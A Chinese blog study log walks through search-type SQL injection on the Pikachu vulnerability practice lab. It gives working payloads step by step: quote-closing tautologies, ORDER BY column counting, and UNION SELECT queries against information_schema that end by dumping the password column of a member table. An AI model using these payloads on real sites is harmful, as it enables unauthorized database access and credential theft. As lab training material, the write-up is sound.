您的位置:首页 > 数据库

SQL注入学习记录Pikachu漏洞练习平台 搜索型注入

2020-07-13 05:44 423 查看

一、搜索型注入简介与原理

1)简介

一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:

其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。

2)原理

$sql="select * from user where password like '%$pwd%' order by password";

“%”匹配任何字符,“like”的意思就是像。
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。
但是当有人输入这样的内容的时候:
'and 1=1 and '%'='

这样的话这句SQL语句就变成了这样:

select * from user where password like '%fendo'and 1=1 and '%'='%' order by password

存在SQL注入。

二、Pikachu 搜索型注入

打开进入界面:
先输入单引号

'
,因为导致语句后的
%'
没有闭合,所以会报错:

然后我们输入
'and 1=1 and '%'='
,此时这句SQL语句就变成了这样:
'%'and 1=1 and '%'='%' order by password
,此时就会出现:

%' and 1=1--'

' and 1=1#

%' and 1=1 and '%'='

这几句也可以达到同样的效果,将所有查询数据回显出来。

然后我们可以输入

' and 1=1 order by x#
通过
order by x
来确定字段数,输入
' and 1=1 order by 3#
时返回了正常页面:


而输入

' and 1=1 order by 4#
时就回显了报错:

证明字段数为3。
然后输入
%' and 1=2 union select 1,2,3#
,回显了:

证明1,2,3都可以回显。
输入
%' and 1=2 union select 1,2,(database())#
就可以爆出当前使用的数据库pikachu:

输入
%' and 1=2 union select 1,2,table_name from information_schema.columns where table_schema='pikachu'#
,就得到了pikachu数据库下的所有表名:
接着随便选一个表,输入
%' and 1=2 union select 1,2,column_name from information_schema.columns where table_name='member'#
,得到member表下的所有字段名:

然后输入
%' and 1=2 union select 1,2,pw from pikachu.member#
,就得到了字段pw的内容:

大概就是这么多了吧,继续加油!

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: